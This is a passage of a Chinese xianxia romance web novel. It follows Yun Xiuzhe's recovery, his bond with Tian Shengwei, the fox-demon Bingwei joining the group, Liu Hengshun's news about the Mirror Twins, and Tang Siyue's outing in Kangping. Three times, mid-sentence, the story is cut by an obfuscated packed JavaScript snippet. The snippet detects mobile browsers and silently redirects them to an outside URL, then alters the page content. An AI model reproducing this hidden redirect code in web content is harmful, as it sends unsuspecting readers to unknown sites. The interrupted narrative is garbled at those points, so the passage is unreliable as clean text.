天盛微伸手帮他将后腰处的褶皱抚平,随口说道。 “不必了,我已经谢过了。” 云修泽一怔,扭头看她,却发现她仿佛是做了一件自然而然的事情,见他看过来,还抬头露出了点儿疑惑的表情,仿佛是在问‘怎么了?’。 云修泽眉眼舒展,调侃道。 ”我们阿微也太靠谱了吧。“ 天盛微面无表情拽了一把他的头发,在他吃痛低呼时,脚步平稳的从他身边掠过,留给了他一个无情的背影。 云修泽揉着头,好笑的看着她,然后死皮赖脸的追了上去。 “诶——女侠!等等我,我现在身体还柔弱着呢,你可得保护好我!” 他们并肩而行的离去,远处的迦引看着他们的背影,复又垂头诵起了经文。 * “你们是说,你们重逢太过激动,趁此定了个情,然后就把还在山下苦苦寻找的我们给忘了?直到准备下山才想起给我们通个信?” 唐思月眼神幽幽的看着云修泽和天盛微。 云修泽有点紧张的咽了口口水,身体后仰,摆手道。 “思月啊,你看,你老大我这身体虚弱,一步三咳的,哪儿还有多余的灵力给你们传音呢?” 说着,还装模做样的咳了两声。 结界之外的人哪怕知道传音令也是无法给结界之内的人传音的,而结界之内给结界之外传音就没有这个限制。 唐思月的眼神移向天盛微。 天盛微心虚,眼神四处转了转,最终停在了天空上,开始生硬的转移注意力。 “啊,今天天气真好。” 旁边的云修泽忍笑忍到表情扭曲。 唐思月也简直要被她气笑了。 行愿微微点头,宽容道。 “没事就好。” 而云修云没心没肺,根本没放在心上,大大咧咧的笑道。 “那可太好了,看来以后我真能叫盛微姐嫂子了!” 天盛微火速拒绝。 云修泽故作伤心的揽过她。 “诶?拒绝的这么干脆,你不是我夫——啊!痛痛痛!我错了!我错了!” 天盛微轻哼一声,松手放过了他的耳朵,对唐思月说道。 “思月,这次他是被僧人所救,迦引师傅听闻你们家的事,让我转交给你一样东西。” 她将佛珠拿出来递给她。 “他让我带话,说‘在于世界中,从非怨止愿。’,恐怕也是想要宽慰你。” 唐思月神色莫名的接过,手指在上面轻轻摩挲了一下就收了起来,淡淡说道。 “宽慰?佛法大道,总是有一堆道理,说的容易,可真的亲身经历过后,又如何能如此轻松的释怀呢?” 她叹了口气,重新扬起笑脸,说道。 “也罢,老大没事就是最好的,走吧,我已经请孙阁主准备了一个适合养伤的宅子,而且我们有客人来了,已经等在那里了。” 云修泽:“客人?是谁?” “秉唯。” “秉唯?” “是我!姐姐!我好想你!” 秉唯一下子扑进了天盛微的怀里,拱着脑袋不断的撒娇。 看着他刻意露出来的狐狸耳朵,天盛微忍了忍,最终还是上手撸了两把。 云修泽耷拉着脸把他从天盛微怀里拽出来。 “你怎么在这儿?” 秉唯对他呲了呲牙,冷哼一声说道。 “自然是小爷我天赋异禀,成功通过了试炼!” 云修泽挑眉。 “谁问你这个了?我是问你怎么出的佘渊,你瞒着你姐姐来的?怎么找到我们的?狐狸鼻子那么好用?” 佘渊并非不能进出,设下的结界也只有妖气过于庞大时才会被触发,但一般来说,没有种族会让族中还未成年的幼崽独自出来,对他们来说,外面还是太过危险。 秉唯拨开他的手,叉着腰不服气的说。 “我当然经过她的同意了!还是她把我送出来的呢!至于为什么能找到你们......” 他抬起头得意的笑道。 “傻子,被下了追踪术都不知道吧!” 云修泽眉头一紧,灵儿送出来的?追踪术?什么时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246499|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......等等!盒子! 他从玉佩中拿出当时盛放地图的那个木盒,仔细辨认过后,发现上面竟然真的有被巧妙隐藏的追踪术。 当时他们时间紧迫,即使感受到了一些违和感,但也因为里面的东西没有出错,并未放在心上。 没想到竟是一个追踪术。 天盛微目光也落到了那个盒子上,片刻后,问道。 “秉唯,试炼难不难?” 秉唯一抹鼻子,耍帅说道。 “不难的,姐姐,你知道,我天赋异禀!” “灵儿怎么会同意让你出来?” “我想出来历练,让实力快点儿变强,而且想看更多好看的风景,去到更多漂亮的地方!” 秉唯的手指向云修泽。 “而且我说过,出来就要找他打一架!” 他的眼神有些迟疑的上下扫了扫云修泽。 “不过......你好像受了很重的伤?你怎么那么弱?” 云修泽嘴角一抽。 “真不好意思啊,让你失望了,等我养好了再陪你打一场吧,小妖怪。” 秉唯的表情瞬间变得幽怨,一字一顿的说道。 “我、叫、秉、唯!” 眼看着这两人又要对起来,天盛微伸手将两人分别拨向了两边。 “秉唯,你具体是怎么出来的?” 对上她,秉唯瞬间哑火,挠头想了想,说道。 “灵儿把我带到了一个很大的,像是祭台一样的地方,让我站在中间,然后天好像黑了一下,有点痛,但是出来之后就好了。” 听到他的描述,天盛微和云修泽暗中对视了一眼。 “姐姐。” 秉唯拉住天盛微的衣角,露出了可怜的表情。 “姐姐,外面的人族好可怕,我好几次差点被发现呢!让我跟着你们吧,好不好?我一定听话!” 天盛微眨了眨眼,和同伴们对看一圈,只有云修泽表达了一些微辞,但被她选择性忽略了。 天盛微点点头。 “好吧,你暂时跟着我们,去各地看看,然后就回家吧,我们要做的事很危险。” 秉唯瘪了瘪嘴,但还是十分懂事的说。 “好的,谢谢姐姐,我一定不给你们添麻烦。” 天盛微没忍住又撸了两把狐狸耳朵。 之后五人一妖就暂时待在了这里,云修泽需要养伤,剩下的几人则趁此机会沉淀沉淀。 时间已经来到了深冬时节,在夜半时分,今年的第一场盛雪,终于落入了人间。 清晨,云修泽敲响了天盛微的房门,在得到应声后,就推门走了进去。 她已经洗漱完毕,正坐在铜镜前准备为自己挽发。 云修泽上前将她手里的活儿接了过来,手指灵活的在她的长发间来回穿梭。 说来惭愧,天盛微虽为女子,但幼时有嬷嬷梳头,拜师后,为了修炼方便,也只梳最简单干练的发髻,从没有尝试过时兴好看但又复杂的样式。 云修泽十分有耐心的一缕缕整理着她的长发,梳好后,弯腰从铜镜里看着她的模样,感慨道。 “你之前梳的那些能显得那么好看,还真是托了你这张脸的福。” 他微微歪头闭眼亲了亲她的侧脸,将额珠放在了她的手上,在她耳边温声说道。 “戴上吧,我专门梳的很适合它的发髻。” 天盛微的耳朵微微一麻,有点不自在的动了动。 她看着手中带着温润光泽的额珠,轻声说道。 “这是我父母的定情信物,母亲将它交给我,是希望若有一日与人定情,由那人亲手帮我戴上。” 她将手伸到云修泽面前,神情温和的看着他。 “这也是我们的定情信物。” 云修泽眼眸闪烁,微微一动,慢慢低头吻了上去。 这个吻充斥着安静与温情,他拉过天盛微拿着额珠的那只手,轻轻在她的皓腕之上印下一吻,手指顺着她的手背轻抚上移,穿过她手指的缝隙,挑起额珠,重新将它拿了回来。 他哑声道:“好。” 他的动作小心,又带了些珍重的样子,认真的将额珠穿过她的长发为她戴好。 “真好看。” 两人透过铜镜对视,一个笑的温柔,另一个也柔和了表情。 屋外的雪不再张扬,而是慢慢悠悠的造访凡间。 云修泽在走廊上看着雪花慢慢的飘,仰头轻轻吐气,它便成了白色的雾,消散在空中。 天盛微将一件狐裘披在他的身上。 “伤刚刚养好,顾惜点。” 云修泽回头笑了笑。 “你喜欢雪吗?” 天盛微点头,看着院中白茫茫的一片,心中也涌起了淡淡的喜悦与宁静。 她披的白色大氅浅浅的绣着仙鹤的模样,随着她一起走入了雪中。 她从幼时起就常在寒潭修炼,深流更是取自那里,通身的灵力都很适应冰凉的气息。 她微微仰头感受着雪花落在肌肤上,舒适的眯了眯眼,心情很是不错。 云修泽在廊下静静的看着她,心中感到安稳和一丝痴迷,低声念道。 “苍山负雪,明烛天南。”【注3】 “什么?” 天盛微回头,没有听清他的话。 云修泽笑着摇了摇头。 这是形容瑰丽的山雪,照彻天明,可他恍然觉得,正恰如她此时于碎琼乱玉之下静立的倩影,令他情难自抑,心动如初。 67. 曲衣八 “秉唯的事你怎么看?” 云修泽将一把伞撑过她的头顶,挡住了纷纷扬扬落下的白雪,陪她一起在雪中漫步。 天盛微拂下肩上的雪花,平静的说道。 “有点不对劲,那不是正常离开佘渊的办法。” 云修泽垂下眼,转动间多了几分思索。 秉唯在被找回去之前,一直都是以最底层的小妖怪的身份存活,根本没有接触到如何离开佘渊这种消息的可能。 如果灵儿也没告诉他,那他就会理所当然的认为现在这个办法才是正常的。 但他们搞不懂灵儿为什么要这么做,若说她是真的好心想要放秉唯出来历练,顺便完成他四处看看的心愿,又为何要采用这种方式? 又为什么是秉唯?他有什么不同? 云修泽陷入沉思,脚步越走越慢,天盛微也没有出声打扰他,安静的跟在他的身侧。 他是半人半妖,他善于藏匿和逃跑,他或许可以成长为可怖的助力,或许......也可以成为被放弃的弃子? 云修泽皱眉不解。 如果是那样,在明知道秉唯出来后会来寻找他们,而他们也一定会为此起疑的情况下,又为什么选择他呢? 云修泽仿佛感到了无形中有一双手,上面缠绕着无数可供操控的傀儡细线,微微一动,便牵引着他们去到了既定的位置。 这种被操控的感觉让云修泽的心情被蒙上了一层阴霾。 他微微侧头与天盛微对视,神色晦暗不清。 “总之,要多加留意了。” 天盛微注视着他的眼睛,片刻后,微微额首。 云修泽能想到,能注意到的,她同样能够明白。 “你的身体已经彻底无碍了吗?” 他们在这里自己刻录了聚灵阵,消耗了许多天材地宝,但功效也同样十分显著,一个多月的时间就已经将他养回了鼎盛时期。 也是时候该动身了。 云修泽摊开手掌看了看,复又将其攥紧,语气轻松的说。 “没事了,前两天不是还跟小妖怪打了一架?那小子进步了不少,虽然还是没能打过我。” 见云修泽挑眉,脸上露出得意之色,天盛微的眼中也露出了点笑意。 她又朝他靠近了些,两人的肩膀挨在一起,看上去十分亲密。 云修泽顿了顿,缓缓压制着胸腔中忽然急跳的心脏,尽管两人明确心意已经有了一段时间,但他还是没能适应她偶尔突然的靠近。 眼见着刚刚还眉飞色舞的他以肉眼可见的速度温顺下来,天盛微暗中勾了勾唇。 “第七洲现在的名气已经隐隐有向当年的镜双子靠近的趋势,是不是要提前做些准备?” 出名就代表着去到各个地方都有可能被认出来,那么他们的踪迹在某些有心之人的眼里就相当于是透明的。 人族还好说,通神阁现在的行为就基本是把‘我是第七洲的靠山’这八个大字挂在了门牌上,轻易不会有人来打他们的主意。 但妖族就难说了,尤其是闻潺那边,像之前那种袭击,有第一次就会有第二次,在拿到所有的地图之前,恐怕会永不止息。 天盛微的思绪再次被拽回了那天的磅沱大雨,那种潮湿阴冷混合着鲜血的铁锈的气息,让她忍不住皱了皱眉。 云修泽察觉到她的异样,将伞换了只手,把她拥入了怀中,轻轻抚摸着她的肩背。 天盛微将脸埋在他的脖颈处,感受着狐裘的软毛蹭在脸颊上带来的细微的痒意。 狐裘微凉,她在呼吸间能嗅到他身上新雪冰凉的气息,这种真实的感觉让她感到头晕目眩,眯着眼,将身体的重量交付给了他。 云修泽思索过后,慢慢说道。 “我们应该不用担心他。” 天盛微抬起头,罕见的有些好奇。 “为什么?” 云修泽的眼睛看向远方。 “闻潺是一只半妖,却能成为水族的统领,除了实力过强之外,在没有必要的情况下,应该也不能如此轻率的让他的族人来送死。” 他第一回派来的妖被他们在唐家杀了个干净,第二回也只剩了两个残兵逃命回去,第三回,有了准备的他们,又还会像这次一样留下活口吗? 天盛微跟上他的思绪。 “水妖不能长久在岸上停留。” 云修泽垂眸,没错,正是如此。 长时间待在岸上对他们来说已经是一种折磨,更别提还要与人对战。 他现在明晃晃从他们手中抢走了一张地图,那就没有必要再派妖来对付他们。 他们的目标都是地图,现在他们既然明确知道闻潺手上有了一张,那只要他们不放弃这件事,就终归会自己找上门去。 到时,自然就是得来全不费功夫。 螳螂捕蝉,黄雀在后。 现在黄雀蛰伏海底,等着螳螂带着猎物自己送上门去。 但是。 云修泽双眸沉沉。 究竟谁是黄雀,还未有定论。 忽然,一只纸鹤穿过他们所设的结界,在聚灵阵的影响下歪歪扭扭的向两人飞来。 看清的一瞬间,云修泽的眼神就变了。 他一把将纸鹤抓住,迅速展开将上面的消息看过一遍。 眉头渐渐皱紧。 天盛微问他:“怎么了?” 云修泽将掌中的纸鹤焚去,严肃的说道。 “柳家就在康平,这是我们年幼时与伯言定下的一个约定,纸鹤代表危险、单独会面还有就是有重要的事发生,这上面说他已经在门外等我了,没透露出什么异样,我不知道他发生了什么。” 天盛微看出他的忧虑,拍了拍他的肩膀。 “去吧,有什么事当面说,我先回去。” 云修泽点了点头,将手中的伞交给她,自己则顶着落雪前往偏门迎接忽然到来的柳恒舜。 康平历年来在这个时节,气候都是比其他地方要冷上一些的。 柳恒舜自小在这里长大,本就不甚怕冷,可今日却裹上了厚厚的狐裘。 两张狐裘面面相觑,仿若是无数只狐狸执手相看泪眼,只差没替对方哭嚎哀悼。 云修泽恶寒一抖,将这奇怪的想法甩开。 兄弟俩看着对方,也都是一样的一言难尽。 云修泽本想一把扯下狐裘,来证明自己身体倍儿棒,完全不虚。可手一碰上,就想到了这是刚刚天盛微亲手披上来的,于是面无表情的又把手放了下去。 两人在奇怪的氛围下前后脚进了云修泽的屋子。 “你怎么知道我们在这儿?” 柳恒舜解下狐裘。 “前两天青玉给我传的信,说让我帮忙找人,然后又跟我说人找到了。” 他一挑眉,笑道。 “够曲折的啊,你。” 云修泽摇了摇头,按照他的喜好给他倒了杯热酒,却没想到被他推开。 柳恒舜拧眉苦笑。 “可别,我这身伤刚能下地行走,酒是半点碰不得的。” 云修泽手一顿,仔细看了看他。 他的脚步有了几分虚浮,面色苍白,声音也变得有气无力。 云修泽的表情难看了下来。 “爻池仙能将你伤成这个样子?” 柳家带去的长老里,有跟唐思月一样修习音道的,对于破障同样也有很深的功底,尽管爻池仙来的数量同样不少,可以他们的实力,没道理让这个少主伤成这样,所以云修泽才如此放心的交给他,现在看来,还是出了什么意想不到的岔子。 “你今天用纸鹤找我,可是发生什么事了?跟你现在这个样子有关?” 柳恒舜向窗外看了看,低声说道。 “我需要一个隔音结界。” 云修泽手指敲了敲桌子,过了一会儿,平静地说道。 “他们可以信任。” 柳恒舜勾起一边的嘴角,神色轻浮又认真。 “这件事,我不希望第三人知晓,无论是谁。” 云修泽与他对视片刻,最终还是如他所言布下了隔音结界。 等他坐回来,又将热酒换为了热茶,但只自己喝,给柳恒舜倒的,是什么都没加的热水。 怎么什么都有? 柳恒舜笑了一下。 两人无言,柳恒舜有点出神的不知在想什么,云修泽催促道。 “快说,到底怎么了。” 柳恒舜思绪被打断,撇了他一眼,两手捧上了茶杯,开口就给他放了个惊雷。 “我见到了镜双子。” 云修泽握着茶杯的手一下子就将它捏碎,热茶滚烫,在他的手上留下了浅淡的红痕。 云修泽心中霎时间就如同惊涛骇浪,狂风翻涌,双眼缓缓睁大,面无表情但声音发紧。 “你知道你在说什么吗?” 他说他见到了谁?镜双子?失踪日久的......斜月与瑶情? 柳恒舜的表情登时扭曲了几分,声音夹杂着说不清的情绪,云修泽却在其中嗅到了一丝恐惧的意味。 “我当然知道,而且我见到的是货真价实的本人。” 云修泽呼吸停滞了一瞬,良久才慢慢缓和过来。 “你见到了这五张地图的主人,上代叱咤风云,现在了无踪迹,行踪成谜的镜双子?” 不可置信的心情让他忍不住又向他确认了一遍,得到的答案同样是毫无疑问的确定。 云修泽的手抚上眉骨,被遮住的眉眼一下子阴沉起来。 镜双子果然还活着,但是为什么会突然出现?又为什么是伯言?难道......镜双子已经注意到他们了? “到底怎么回事?”他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246500|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音低沉。 柳恒舜叹了一口气。 “我在极其偶然的情况下查到了一些东西,没想到竟真让我的猜想变成了现实。” 他放在桌子上的时候慢慢攥成拳。 “是我太过鲁莽自大,自以为凭借一身实力,再加上有数位长老相随,便轻狂的要去问个明白,连累长老们现在还昏迷不醒,我也是死里逃生。” 云修泽双眼一眯,察觉到了一丝不对劲。 “他们竟没对你们下杀手?” 这并不是他多么希望柳恒舜他们出点事,但是以听说的镜双子的性子,没有杀人灭口就是很不寻常。 柳恒舜的嘴角僵硬的提了提。 “恶趣味吧。” 刚刚碎掉的茶盏已经被收拾干净,云修泽又重新弄了一杯放在手里,此时听了他的话,轻轻将其转了转。 “将你知道的都跟我仔细说一说。” 他都已经做好了准备,却没想到柳恒舜竟摇了摇头。 “再多的我不能说了。” 云修泽眉头一皱。 “什么意思?” 他苦笑。 “我差点死在镜双子的手上,我是真的以为我要死了,却没想到被留了情,但取而代之的是,我,包括几位昏迷不醒的长老,都被下了禁言令,我刚刚跟你说的,就已经是所有我能说的了。” 云修泽愕然。 禁言令,区别于仅仅作用一段时间的禁言术,相当于就是无视他人的意愿,让他人被动的立下绝不可违背的禁咒,已经失传许久,没想到,镜双子竟然...... 云修泽忽然目光沉沉的看向他。 “你究竟为什么要找镜双子?别跟我说你是为了思月,你该知道这个理由敷衍不了我。” 柳恒舜的嘴张了张,勉强笑道。 “可我不能说,以后,也许你可以明白。” 云修泽不爽的咬了咬牙,感受到了一种难言的无力。 如果镜双子真的已经注意到他们了,那这种行为,就相当于将不经意逃出笼子的小鼠割断了舌头,又放回去,让其语焉不详的跟同伴报信,然后在笼子之外,拿着用来逗弄他们的鼠尾草,饶有兴致的看着他们乱作一团,却毫无办法。 他神情不虞的看着柳恒舜。 “我要把他们揪出来,我知道你不能说,但我相信你明白我的意思。” 柳恒舜了然,露出了带着点儿野心和势在必得的笑容。 “这就是我今天来的目的。” 他站起来重新将狐裘裹到身上,云修泽见他要走,于是随口问道。 “不在这儿吃午饭?” “不了,回去还得吃药。” 云修泽点头,没有再多留他。 柳恒舜走到门前,准备推开房门时手顿了顿,微微侧头,露出了耳朵和小半张脸,小声说道。 “子竹,你要小心。” 这句话说的又低又缓,仿佛并不是一句简单的关心之语。 云修泽抬眼定定的看着他,良久,才回道。 “我知道了。” 他推门离开,无视了背后云修泽探究的眼神。 柳恒舜走在外面,雪已经停了,脚步踩在雪上发出咯吱咯吱的声音,此时他的心里什么都没想,只是走着,忽然,他停了下来。 在他离开的必经之路上,在他心上刻下名字的姑娘正蹲在那里神情愉悦的堆着雪人。 雪人圆滚滚的,但是少了一只眼睛和手还没被按上去。 他看见她笑的一脸满意,收回手,葱白的手指被冻的泛红,她合起手放在嘴边轻轻哈气,白雾彻底消散时,她抬头看他。 “好久不见,之前从白界离开时我就在想还能不能见到你。” 她的美从来都是夺人瞩目的,此刻笑眯眯歪头的模样褪去的平日的温婉,有些像是在雪中等待猎物的雪女。 柳恒舜不禁后退了半步,胸口起伏,尽力掩饰着剧烈的心跳。 “思月姑娘。” 他咬着这个名字。 “你怎么在这?” 唐思月站起身,漫不经心的拍了拍手上沾着的雪,低头抬眼,笑着向他靠近了两步,看他忍不住后退,轻笑着停了下来,在他几步之外说道。 “我在等你啊。” 柳恒舜一顿,唐思月看出他的疑惑,于是说。 “盛微告诉我你来了,你们要谈点事,所以我就在这等你了。” 柳恒舜看到那个雪人,心跳还是无法平息,言简意赅的问道。 “你等我,有什么事吗?” 唐思月露出了点期待的神情。 “听说康平藏着很多好玩的,但是自己是找不到的,你家在康平,肯定知道吧。” 柳恒舜眼睫颤了颤,喉结滚动,听她笑眯眯的说道。 “带我去玩吧。” 68. 曲衣九 她都开口了,柳恒舜哪里又能拒绝。 他拢了一下自己的狐裘,原本浪荡风流的模样,因为受伤而添上了几分脆弱,静立在雪中,很有温润的病弱公子的味道,就连那双含情的桃花眼和眼角的痣都没能冲淡这种感觉。 “好,你想去哪里?” 唐思月想了想。 “快到午时了,我们先找个地方用膳吧。” “好。” 柳恒舜是坐着马车来的,此时走到车前,下意识的停住脚步,先对唐思月伸出了手。 唐思月有点新奇的看他一眼,在他不自在的想要收回手之前搭了上去,任他将自己扶上了车。 柳恒舜自己则是在钻进马车和坐在外面之间犹豫了一下。 唐思月的声音从马车内传来。 “以柳公子的伤势,你还是进来的好。” 柳恒舜这才垂眸钻了进去。 他跟赶马的小厮说了一个地名,然后马车便轱辘轱辘的行驶起来。 “思月姑娘,不带着你的护卫吗?” 唐思月看他一眼,有点好笑的说。 “已经动身了才问这个?” 见他不语,唐思月也只是语焉不详的让他放心。 柳恒舜静默,以他的身份,出行在外也是会带护卫的,只不过在康平这种自己家的地界,一般都是随行左右,并不会隐去身形。 而那个行愿若是跟着了,恐怕就是在暗中看护。 柳恒舜这一受伤,表现出来的样子就跟之前有了很大不同,说是判若两人也不为过,也许也不是因为受伤,但总之,唐思月觉得有趣。 “思月姑娘怎么突然有了出来游玩的兴趣?” 唐思月微叹,康平属实是六洲之中最无趣的地方了,净安寺这尊大佛立在这里,什么乌七八糟的玩法到了这里都只能乖乖盘着,乐趣十去□□。 但有意思的是,人都是有反抗精神的,因此你越不让人搞,就越有人非要搞。 所以这里有很多比别的地方还要特殊一些的东西,需要弯弯绕绕各种方式才能挖出来。 唐思月一直很好奇。 这时候就体现了一个会玩的本地人的重要。 饭后,柳恒舜带着唐思月去见了很多鲜为人知的美景,她明明也是喜爱的,却好像只是去认个路一般,从来不在哪里久留。 赌坊,斗兽场这种新鲜刺激的地方也都走了个遍,就差没去一趟烟花柳巷。 柳恒舜下意识的没带她去那些乱七八糟的地方。 “就只有这些?我以为会有些更新奇的。” 柳恒舜手指微动,有点想调侃她应该见过更刺激的东西,然后就听她接着说道。 “我想买点能长时间留存的东西。” 于是他带她去了康平特有的鬼市。 鬼市的新鲜玩意儿就多了去了,戴着面具的柳恒舜缓步走在后面,看着同样遮去面容的唐思月有点兴奋的四处看着。 她给云修泽几人每个都买了点儿东西,然后就开始细细挑选自己想要的。 眼见着她拿着一个造型奇特的项圈,仿佛没弄懂这究竟是什么东西一样就往他的脖子上比划,柳恒舜面具下的表情都扭曲了一下,心惊胆战的哄着她将其放下。 “看,妖丹。” 唐思月捧着一个盒子,柳恒舜定睛一看,是一颗流转着淡金色光芒的黑色妖丹。 但是却有些奇怪,上面仿佛被笼罩了一层阴霾,掩饰了它本该拥有的光泽。 他本想说些什么,却看见唐思月竖起手指示意他不要出声。 她缓缓将那个盒子的禁制完全解开,然后便有一股极其庞大的妖气从那个盒子的缝隙中争先恐后的挤了出来。 那股恐怖的妖气在霎时间就让周围所有的人变了脸色。 柳恒舜本就没有痊愈的身体在这股妖气的冲击下,脸色变得又苍白了几分。 他闷哼一声,惊疑不定的问道。 “这是怎么回事?” 一颗妖丹而已,怎么能散发出如此庞大的妖气? 唐思月垂眸,神色有了几分认真。 “这妖气好像是被强行注入的。” 柳恒舜深吸几口气,目光一下投向了卖主。 那人裹着黑色的长袍,面具将他的脸遮的严严实实。 唐思月将那枚妖丹收起来,冷静的开口说道。 “不用看了,这人已经死了,还能动不过是有人操控了他的尸身。” 柳恒舜皱眉定睛一看,果然发现他的瞳孔已经彻底涣散。 “究竟是怎么回事?”他轻声呢喃。 “等我回去再和老大他们商量商量吧。” 柳恒舜神色复杂。 之后唐思月又逛了一阵子,才终于选定了一对儿看上去十分特殊又漂亮的骨戒。 等他们穿过无数曲折的暗巷离开鬼市时,月色已经轻柔的抚上了大地冰凉的外衣。 月色与雪色交相辉映,带来的清凌的光几乎将黑暗完全遮掩。 唐思月披着的斗篷不经意间被路旁横斜的梅枝剐蹭,落在地上,雪花便迫不及待的吻了上去。 她穿的相较于往日来说甚至可以算得上轻薄,此时斗篷滑落,更显她的身段单薄轻盈。 她低头看了一眼掉落的斗篷,好像是更喜欢现在这样‘一身轻’的行走,走了几步,神情变得愉悦。 如绸缎般柔滑的墨发飘扬在刚刚取下面具的柳恒舜面前。 老实说,这种天气,就算是个身体健康且实力不弱的人穿那么少都会觉得冷,更何况是看上去就很身娇体弱的唐思月。 看着她无知无觉的样子,他下意识的就想解下自己的狐裘为她披上,可是已经有人抢先一步。 行愿不知什么时候出现,在唐思月不赞同的目光下拿着另一件披风重新将她裹严实,弯腰拿走了地上的那件,然后对柳恒舜轻轻点头,随即便如从未来过一样消失在了两人的眼前。 果然在跟着...... 柳恒舜冷静下来。 “思月姑娘。” 唐思月脚步一顿,转头时眼波流转,笑意盈盈。 “怎么了?” 柳恒舜深吸一口气,扬起嘴角,做回了平日里那副浪荡子的派头,低头朝她靠近两步,眼神有了几分认真。 “思月姑娘,可是心悦青玉?” 他总觉得唐思月的笑容没有尽达眼底,此问过后,更是淡了几分。 这话算得上唐突冒犯,尤其是对于眼前之人,柳恒舜无法控制自己背在身后微微发抖的手,但他并无悔意。 “柳公子想听什么?” 她的眼神逐渐变成了饶有兴致的模样。 柳恒舜一顿,后知后觉的发现自己不知从什么时候起就屏住了呼吸。 他后退一步,面上挂上了讨饶的笑容。 “我的错,我的错,美人的心思,向来是不可猜的。” “哦?我还以为柳公子最善分辨女子心意。” 柳恒舜哈了一声笑起来,放弃了掩饰什么。 “我只是作为兄长,希望他们安全,在此基础上如果还能过得开心的话,那自然是再好不过。” 唐思月微哂,转身时,扬起的缎面斗篷上反映的月亮的弧光让柳恒舜难以直视的移开了眼睛。 她双臂上展,伸展身体的同时做出了宛若拥抱月亮的姿态。 远处,不知哪里宴会传来的清商悠悠,又有拨弦声响,一齐奏起的乐曲,为这个清幽的夜晚增添了几分暧昧悠然的意味。 这似乎是唐思月知道的曲子,她很快便随之轻声哼唱起来。 她的脚步轻快。 “你今日来又是为了什么?” 柳恒舜跟上她,冷静的说道。 “来提醒子竹一些事。” 唐思月全然没放在心上,远处的曲子逐渐变得激荡,仿佛已经到了宴乐的高潮。 唐思月合着曲子,身姿轻盈,于雪月之间轻轻摇曳。 她旋转的衣裙占据了柳恒舜的眼眸,柔和的眉眼和飞扬的长发让时间停滞,这一刻,他才深深的理解了何为雪月之外的第三种绝色。 长长的石巷中,笛乐琴音,女子行走间轻歌曼舞,嘴角微扬,沉溺于心中的世界,而身后身姿挺拔的男子缓步跟随,目光一瞬不瞬地落在前方的女子身上,仿佛再容不下什么别的东西。 现在虽晚,但却还没到落灯的时刻,大街小巷,偶尔都能见到人的影子。 见两人皆是视他人于无物的模样,路过的人里就会有人叹痴情男女,倒也般配。 唐思月偶然间望见他的目光,在对视的一瞬,他便带着些狼狈躲开了眼睛,唐思月露出了一个带着微微讶异的温和笑容。 “柳恒舜,我很美吗?” 柳恒舜陡然失笑,心中剧烈的颤抖已经分不清究竟是何种感情,他承认自己狼狈的心动,却也为此深深的不安。 “无人能出你右。” 他深深看了一眼披洒在她身上的月光,低声念道。 “是月色薄你。” 唐思月缓缓勾起一个笑脸,目光变得意味悠长,说了句什么后,就让他变得缄默无言。 这个夜晚,只属于他心中的他们。 * 几人重新置办了一辆马车,带着多出来的秉唯,准备去往几经周折都没能成功到达的计都。 他们行驶的一路上,可算是让秉唯玩了个尽兴,每日自己兴奋的东跑西窜还不够,还总想拉着天盛微一起,最后的结局通常就是和云修泽过上几招。 他的进步速度几乎是肉眼可见的,很快便不再是云修泽单方面的压制。 云修泽面上不显,心中的惊讶却是一点儿没少。 天盛微在旁边看着,一开始还有些不放心,担心他们两个真的打起来,但后来发现他们之间相处并不是真的那么剑拔弩张,顶多打打嘴仗。 打起来更像是师傅教徒弟,逗弄是一回事儿,认真是另一回事儿。 而他们两个之间的这种‘斗争’几乎成了每日必备的活动,五人一妖就这么不知不觉间来到了森阳关。 这里是康平和计都的交界线,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259681|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样连接着一大片无主的荒野,是计都重要的关口。 而森阳关是一个特殊的关口,它并不是一个纯粹的武将驻地,其中还有生活的百姓。 这里原叫做森阳城,是因为位置险要,又常有外敌来扰,所以便改为了森阳关。 现在里面共有两位平级的官员掌势,一位是城主,一位是统领。 天盛微放下撩开帘子的手,感到有些奇怪。 “审查好像比之前要严了。” 在马车旁的云修泽听到,也有同样的疑惑。 虽说这种要地,审查常年都是严格的,但现在这种阵势好像要更夸张些,难不成发生了什么? 他们被拦在了城门口,有官兵例行检查,他们是法修,一般来说不会盘问的很仔细。 可是他们之中级别最高的官兵在靠近他们之后,腰间的珠子忽然亮了起来,又很快熄灭,这不同寻常的一幕让那人停下了脚步。 他怀疑的目光投向几人,几人皆是一头雾水,但不妨碍他们已经为此做好了准备。 他做了一个手势,云修泽刚刚在后面看到过,这是要将人扣押的意思。 还没等人上来,天盛微就亮出了郡主的令牌。 这个身份足以压制他们,他们单膝跪拜,将几人放入了城中。 入城之后,已经有了几分警惕的他们暗中观察着周围。 云修泽敲敲马车,天盛微撩起帘子。 “先找个落脚的地方吧。” 